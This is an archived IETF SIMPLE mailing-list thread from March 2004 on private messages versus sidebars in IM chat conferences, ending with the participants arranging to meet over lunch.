X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Yeah, me too. Lunch tomorrow sounds good.

Cheers,
Aki

ext Paul Kyzivat wrote:
> I'm game. Who cares? This is in the overlap area between simple and xcon 
> I think. How about lunch tomorrow, after xcon?
> 
>     Paul
> 
> Rosen, Brian wrote:
> 
>> How are we going to resolve this?
>>
>> Most of us are here.  Can we get together?
>>
>> Brian
>>
>>
>>> -----Original Message-----
>>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>> Sent: Tuesday, March 02, 2004 6:44 PM
>>> To: Niemi Aki (Nokia-M/Espoo)
>>> Cc: ext Rosen, Brian; ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; simple@ietf.org
>>> Subject: Re: [Simple] Chat sessions
>>>
>>>
>>>
>>>
>>> Niemi Aki (Nokia-M/Espoo) wrote:
>>>
>>>>>> Of course you can't do private messages with voice. Voice 
>>>>>
>>>>>
>>> and IM are
>>>
>>>>>> inherently different. You can't send private voice 
>>>>>
>>>>>
>>> packets to another
>>>
>>>>>> participant of a conference, simply because there isn't a way to 
>>>>>> single out a participant in a conference by directly addressing 
>>>>>> packets there. It also makes mixing really complicated, because a 
>>>>>> private voice stream might overlap with the rest of the 
>>>>>
>>>>>
>>> conference.
>>>
>>>>>> These don't present a problem for IM; the sender can 
>>>>>
>>>>>
>>> single out the
>>>
>>>>>> recipient using the cpim To header field and the recipient UA can 
>>>>>> simply mark a message as private and render it to the 
>>>>>
>>>>>
>>> same UI as the
>>>
>>>>>> rest of the IMs in that conference.
>>>>>
>>>>>
>>>>> I protest.  There is no logical difference.  There is no protocol
>>>>> difference.  In most cases, there is no practical difference.  You
>>>>> send media to some address, you get media from some address.  You
>>>>> render it.  IM or voice or video is all just media, and its handled
>>>>> the same way.  You might have "centralized" or 
>>>>
>>>>
>>> "distributed" mixers.
>>>
>>>>> Most IM systems, as implemented, are centralized mixers.  You send
>>>>> all media to the mixer, it sends media to you.  There is nothing
>>>>> special with IM.  You need some signaling for a private message.
>>>>> You can use the same signaling for a sidebar or a whisper.
>>>>
>>>>
>>>> Hmm.. which systems are these? The ones I've used have both private 
>>>> messages *and* sidebars.
>>>
>>>
>>> It seems that in principle the difference between sidebars and 
>>> private messages is simply one of UI design. A particular client 
>>> could support one or the other, or both.
>>>
>>> But you also seem to require that the initiator be able to choose 
>>> which user experience the recipients will have. That turns it into a 
>>> protocol issue. In general I would consider this a bad idea. But it 
>>> is largely a human factors issue, and I don't feel qualified to 
>>> comment on it except from the perspective of personal preference. But 
>>> it seems that whole discussion hinges on whether there is a valid 
>>> requirement for giving senders that degree of control over recipients.
>>>
>>>     Paul
>>>
>>
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:17:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21343
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:17:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLwP-0000KG-Mo
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:16:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i232GvG6001246
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:16:57 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLwP-0000K1-Gk
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:16:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21290
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:16:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLwM-0006b5-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:16:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLvS-0006R2-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:15:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLua-0006GJ-00; Tue, 02 Mar 2004 21:15:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLuZ-0000Aa-CL; Tue, 02 Mar 2004 21:15:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLth-00009c-JK
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:14:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21062
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:14:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLtf-00066c-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:14:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLst-0005yD-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:13:20 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLsM-0005p6-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:12:46 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232CbC18211;
	Wed, 3 Mar 2004 04:12:38 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 04:12:12 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i232CCUe004166;
	Wed, 3 Mar 2004 04:12:12 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00K8fXOt; Wed, 03 Mar 2004 04:12:10 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232CA712806;
	Wed, 3 Mar 2004 04:12:10 +0200 (EET)
Received: from nokia.com ([10.162.253.24]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 04:12:09 +0200
Message-ID: <40453EF7.8020701@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B648B@whq-msgusr-02.pit.comms.marconi.com> <40453BC2.9020101@cisco.com>
In-Reply-To: <40453BC2.9020101@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 02:12:09.0785 (UTC) FILETIME=[EF13AA90:01C400C4]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 04:12:07 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Yeah, me too. Lunch tomorrow sounds good.

Cheers,
Aki

ext Paul Kyzivat wrote:
> I'm game. Who cares? This is in the overlap area between simple and xcon 
> I think. How about lunch tomorrow, after xcon?
> 
>     Paul
> 
> Rosen, Brian wrote:
> 
>> How are we going to resolve this?
>>
>> Most of us are here.  Can we get together?
>>
>> Brian
>>
>>
>>> -----Original Message-----
>>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>> Sent: Tuesday, March 02, 2004 6:44 PM
>>> To: Niemi Aki (Nokia-M/Espoo)
>>> Cc: ext Rosen, Brian; ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; simple@ietf.org
>>> Subject: Re: [Simple] Chat sessions
>>>
>>>
>>>
>>>
>>> Niemi Aki (Nokia-M/Espoo) wrote:
>>>
>>>>>> Of course you can't do private messages with voice. Voice 
>>>>>
>>>>>
>>> and IM are
>>>
>>>>>> inherently different. You can't send private voice 
>>>>>
>>>>>
>>> packets to another
>>>
>>>>>> participant of a conference, simply because there isn't a way to 
>>>>>> single out a participant in a conference by directly addressing 
>>>>>> packets there. It also makes mixing really complicated, because a 
>>>>>> private voice stream might overlap with the rest of the 
>>>>>
>>>>>
>>> conference.
>>>
>>>>>> These don't present a problem for IM; the sender can 
>>>>>
>>>>>
>>> single out the
>>>
>>>>>> recipient using the cpim To header field and the recipient UA can 
>>>>>> simply mark a message as private and render it to the 
>>>>>
>>>>>
>>> same UI as the
>>>
>>>>>> rest of the IMs in that conference.
>>>>>
>>>>>
>>>>> I protest.  There is no logical difference.  There is no protocol
>>>>> difference.  In most cases, there is no practical difference.  You
>>>>> send media to some address, you get media from some address.  You
>>>>> render it.  IM or voice or video is all just media, and its handled
>>>>> the same way.  You might have "centralized" or 
>>>>
>>>>
>>> "distributed" mixers.
>>>
>>>>> Most IM systems, as implemented, are centralized mixers.  You send
>>>>> all media to the mixer, it sends media to you.  There is nothing
>>>>> special with IM.  You need some signaling for a private message.
>>>>> You can use the same signaling for a sidebar or a whisper.
>>>>
>>>>
>>>> Hmm.. which systems are these? The ones I've used have both private 
>>>> messages *and* sidebars.
>>>
>>>
>>> It seems that in principle the difference between sidebars and 
>>> private messages is simply one of UI design. A particular client 
>>> could support one or the other, or both.
>>>
>>> But you also seem to require that the initiator be able to choose 
>>> which user experience the recipients will have. That turns it into a 
>>> protocol issue. In general I would consider this a bad idea. But it 
>>> is largely a human factors issue, and I don't feel qualified to 
>>> comment on it except from the perspective of personal preference. But 
>>> it seems that whole discussion hinges on whether there is a valid 
>>> requirement for giving senders that degree of control over recipients.
>>>
>>>     Paul
>>>
>>
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:24:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21620
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:24:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM46-0007jd-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:24:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM39-0007bc-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:23:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM2I-0007TF-00; Tue, 02 Mar 2004 21:23:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM2G-0000ov-Vn; Tue, 02 Mar 2004 21:23:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM1X-0000mU-Vb
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:22:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21474
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:22:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM1V-0007LO-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:22:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM0c-0007C0-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:21:18 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM04-00072Y-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:20:44 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i232JpaZ020656;
	Tue, 2 Mar 2004 21:19:51 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id VAA06694;
	Tue, 2 Mar 2004 21:19:51 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Z731>; Tue, 2 Mar 2004 21:19:51 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B648C@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>,
        ext Paul Kyzivat
	 <pkyzivat@cisco.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        hisham.khartabil@nokia.com, Miguel.An.Garcia@nokia.com,
        "'simple@ietf.org'" <simple@ietf.org>
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 21:19:45 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Okay, lunch tomorrow. Meet at reg area.  

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Tuesday, March 02, 2004 9:12 PM
> To: ext Paul Kyzivat
> Cc: Rosen, Brian; ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> 'simple@ietf.org'
> Subject: Re: [Simple] Chat sessions
> 
> 
> Yeah, me too. Lunch tomorrow sounds good.
> 
> Cheers,
> Aki
> 
> ext Paul Kyzivat wrote:
> > I'm game. Who cares? This is in the overlap area between 
> simple and xcon 
> > I think. How about lunch tomorrow, after xcon?
> > 
> >     Paul
> > 
> > Rosen, Brian wrote:
> > 
> >> How are we going to resolve this?
> >>
> >> Most of us are here.  Can we get together?
> >>
> >> Brian
> >>
> >>
> >>> -----Original Message-----
> >>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> >>> Sent: Tuesday, March 02, 2004 6:44 PM
> >>> To: Niemi Aki (Nokia-M/Espoo)
> >>> Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
> Markus.Isomaki@nokia.com;
> >>> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> simple@ietf.org
> >>> Subject: Re: [Simple] Chat sessions
> >>>
> >>>
> >>>
> >>>
> >>> Niemi Aki (Nokia-M/Espoo) wrote:
> >>>
> >>>>>> Of course you can't do private messages with voice. Voice 
> >>>>>
> >>>>>
> >>> and IM are
> >>>
> >>>>>> inherently different. You can't send private voice 
> >>>>>
> >>>>>
> >>> packets to another
> >>>
> >>>>>> participant of a conference, simply because there 
> isn't a way to 
> >>>>>> single out a participant in a conference by directly 
> addressing 
> >>>>>> packets there. It also makes mixing really 
> complicated, because a 
> >>>>>> private voice stream might overlap with the rest of the 
> >>>>>
> >>>>>
> >>> conference.
> >>>
> >>>>>> These don't present a problem for IM; the sender can 
> >>>>>
> >>>>>
> >>> single out the
> >>>
> >>>>>> recipient using the cpim To header field and the 
> recipient UA can 
> >>>>>> simply mark a message as private and render it to the 
> >>>>>
> >>>>>
> >>> same UI as the
> >>>
> >>>>>> rest of the IMs in that conference.
> >>>>>
> >>>>>
> >>>>> I protest.  There is no logical difference.  There is 
> no protocol
> >>>>> difference.  In most cases, there is no practical 
> difference.  You
> >>>>> send media to some address, you get media from some 
> address.  You
> >>>>> render it.  IM or voice or video is all just media, and 
> its handled
> >>>>> the same way.  You might have "centralized" or 
> >>>>
> >>>>
> >>> "distributed" mixers.
> >>>
> >>>>> Most IM systems, as implemented, are centralized 
> mixers.  You send
> >>>>> all media to the mixer, it sends media to you.  There is nothing
> >>>>> special with IM.  You need some signaling for a private message.
> >>>>> You can use the same signaling for a sidebar or a whisper.
> >>>>
> >>>>
> >>>> Hmm.. which systems are these? The ones I've used have 
> both private 
> >>>> messages *and* sidebars.
> >>>
> >>>
> >>> It seems that in principle the difference between sidebars and 
> >>> private messages is simply one of UI design. A particular client 
> >>> could support one or the other, or both.
> >>>
> >>> But you also seem to require that the initiator be able to choose 
> >>> which user experience the recipients will have. That 
> turns it into a 
> >>> protocol issue. In general I would consider this a bad 
> idea. But it 
> >>> is largely a human factors issue, and I don't feel qualified to 
> >>> comment on it except from the perspective of personal 
> preference. But 
> >>> it seems that whole discussion hinges on whether there is a valid 
> >>> requirement for giving senders that degree of control 
> over recipients.
> >>>
> >>>     Paul
> >>>
> >>
> >>
> >> _______________________________________________
> >> Simple mailing list
> >> Simple@ietf.org
> >> https://www1.ietf.org/mailman/listinfo/simple
> >>
> > 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:25:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21661
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:25:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM4A-0001LO-Ec
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:24:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i232OwwT005160
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:24:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM4A-0001L9-AT
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:24:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21635
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:24:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM47-0007ji-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:24:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM3A-0007bk-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:23:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM2I-0007TF-00; Tue, 02 Mar 2004 21:23:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM2G-0000ov-Vn; Tue, 02 Mar 2004 21:23:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM1X-0000mU-Vb
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:22:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21474
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:22:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM1V-0007LO-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:22:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM0c-0007C0-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:21:18 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM04-00072Y-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:20:44 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i232JpaZ020656;
	Tue, 2 Mar 2004 21:19:51 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id VAA06694;
	Tue, 2 Mar 2004 21:19:51 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Z731>; Tue, 2 Mar 2004 21:19:51 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B648C@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>,
        ext Paul Kyzivat
	 <pkyzivat@cisco.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        hisham.khartabil@nokia.com, Miguel.An.Garcia@nokia.com,
        "'simple@ietf.org'" <simple@ietf.org>
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 21:19:45 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Okay, lunch tomorrow. Meet at reg area.  

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Tuesday, March 02, 2004 9:12 PM
> To: ext Paul Kyzivat
> Cc: Rosen, Brian; ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> 'simple@ietf.org'
> Subject: Re: [Simple] Chat sessions
> 
> 
> Yeah, me too. Lunch tomorrow sounds good.
> 
> Cheers,
> Aki
> 
> ext Paul Kyzivat wrote:
> > I'm game. Who cares? This is in the overlap area between 
> simple and xcon 
> > I think. How about lunch tomorrow, after xcon?
> > 
> >     Paul
> > 
> > Rosen, Brian wrote:
> > 
> >> How are we going to resolve this?
> >>
> >> Most of us are here.  Can we get together?
> >>
> >> Brian
> >>
> >>
> >>> -----Original Message-----
> >>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> >>> Sent: Tuesday, March 02, 2004 6:44 PM
> >>> To: Niemi Aki (Nokia-M/Espoo)
> >>> Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
> Markus.Isomaki@nokia.com;
> >>> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> simple@ietf.org
> >>> Subject: Re: [Simple] Chat sessions
> >>>
> >>>
> >>>
> >>>
> >>> Niemi Aki (Nokia-M/Espoo) wrote:
> >>>
> >>>>>> Of course you can't do private messages with voice. Voice 
> >>>>>
> >>>>>
> >>> and IM are
> >>>
> >>>>>> inherently different. You can't send private voice 
> >>>>>
> >>>>>
> >>> packets to another
> >>>
> >>>>>> participant of a conference, simply because there 
> isn't a way to 
> >>>>>> single out a participant in a conference by directly 
> addressing 
> >>>>>> packets there. It also makes mixing really 
> complicated, because a 
> >>>>>> private voice stream might overlap with the rest of the 
> >>>>>
> >>>>>
> >>> conference.
> >>>
> >>>>>> These don't present a problem for IM; the sender can 
> >>>>>
> >>>>>
> >>> single out the
> >>>
> >>>>>> recipient using the cpim To header field and the 
> recipient UA can 
> >>>>>> simply mark a message as private and render it to the 
> >>>>>
> >>>>>
> >>> same UI as the
> >>>
> >>>>>> rest of the IMs in that conference.
> >>>>>
> >>>>>
> >>>>> I protest.  There is no logical difference.  There is 
> no protocol
> >>>>> difference.  In most cases, there is no practical 
> difference.  You
> >>>>> send media to some address, you get media from some 
> address.  You
> >>>>> render it.  IM or voice or video is all just media, and 
> its handled
> >>>>> the same way.  You might have "centralized" or 
> >>>>
> >>>>
> >>> "distributed" mixers.
> >>>
> >>>>> Most IM systems, as implemented, are centralized 
> mixers.  You send
> >>>>> all media to the mixer, it sends media to you.  There is nothing
> >>>>> special with IM.  You need some signaling for a private message.
> >>>>> You can use the same signaling for a sidebar or a whisper.
> >>>>
> >>>>
> >>>> Hmm.. which systems are these? The ones I've used have 
> both private 
> >>>> messages *and* sidebars.
> >>>
> >>>
> >>> It seems that in principle the difference between sidebars and 
> >>> private messages is simply one of UI design. A particular client 
> >>> could support one or the other, or both.
> >>>
> >>> But you also seem to require that the initiator be able to choose 
> >>> which user experience the recipients will have. That 
> turns it into a 
> >>> protocol issue. In general I would consider this a bad 
> idea. But it 
> >>> is largely a human factors issue, and I don't feel qualified to 
> >>> comment on it except from the perspective of personal 
> preference. But 
> >>> it seems that whole discussion hinges on whether there is a valid 
> >>> requirement for giving senders that degree of control 
> over recipients.
> >>>
> >>>     Paul
> >>>
> >>
> >>
> >> _______________________________________________
> >> Simple mailing list
> >> Simple@ietf.org
> >> https://www1.ietf.org/mailman/listinfo/simple
> >>
> > 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:27:56 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21816
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:27:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM72-0000Lz-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:27:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM67-0000Dm-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:27:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
